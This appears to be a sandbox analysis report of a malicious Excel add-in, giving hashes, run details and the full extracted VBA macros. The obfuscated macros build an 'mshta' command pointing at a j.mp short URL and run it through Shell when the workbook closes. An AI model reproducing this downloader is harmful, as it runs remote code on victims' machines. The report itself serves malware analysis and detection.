Behavioral task
behavioral1
Sample
a938f9f04b2c8438690c81fe6de0e116_JaffaCakes118.xlam
Resource
win7-20240220-en
windows7-x64
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
a938f9f04b2c8438690c81fe6de0e116_JaffaCakes118.xlam
Resource
win10v2004-20240508-en
windows10-2004-x64
6 signatures
150 seconds
General
-
Target
a938f9f04b2c8438690c81fe6de0e116_JaffaCakes118
-
Size
15KB
-
MD5
a938f9f04b2c8438690c81fe6de0e116
-
SHA1
6f372078a4a3cadf2b7bb66442bc7c813d87120a
-
SHA256
c7e40c5bb07a38e5d072cc4f4fc3eef3b1ebd6e7ed10da6edc637941ca9e5ae3
-
SHA512
8eaf29c49f1cc33a0a4b9d7218738330dde66c8939ebfba2911c91ebcd1859c31e700b548afda8784cf83d970d13bdbeffd49332501c4e8afc60c60772121475
-
SSDEEP
384:/br9XuasFux/FltDBIxcoucbF9OCqQd5rgNSTH:fpuasFupjDGcoucbbOCXdxgNSTH
Score
8/10
Malware Config
Signatures
-
resource sample
Files
-
a938f9f04b2c8438690c81fe6de0e116_JaffaCakes118.xlam office2007
m
1Attribute VB_Name = "m"2Function tomala() As String3lora = "h"4myralun = lora5pupu = myralun6agonlove = "s"7agonlovefailed = agonlove8pin = "m"9topalota = pin10golopu = topalota11chuchu = golopu12clit = "t"13vigina = clit14sexi = vigina15ugary = "a "16susuo = ugary17tolach = chuchu + agonlovefailed + pupu + sexi + susuo18lo = tolach19tomala = lo20End Function2122232425ThisWorkbook
1Attribute VB_Name = "ThisWorkbook"2Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = True9Private Sub Workbook_BeforeClose(Cancel As Boolean)10Shell tomala + kokdasodk11End Sub121314Sheet1
1Attribute VB_Name = "Sheet1"2Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = True9Sheet2
1Attribute VB_Name = "Sheet2"2Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = True9Sheet3
1Attribute VB_Name = "Sheet3"2Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = False8Attribute VB_Customizable = True9lk
1Attribute VB_Name = "lk"2Function kokdasodk() As String3hotguase = "t"4polaotos = "p"5poloots = "h"6koasmxjw = "s:/"7kdjkeurg = "/%909123id%909123id%909123id%909123id%909123id@j.mp\kasdasdasasdasddskdd"8zuoosaod = poloots + hotguase + hotguase + polaotos + koasmxjw + kdjkeurg9koasdllo = zuoosaod10kokdasodk = koasdllo11End Function12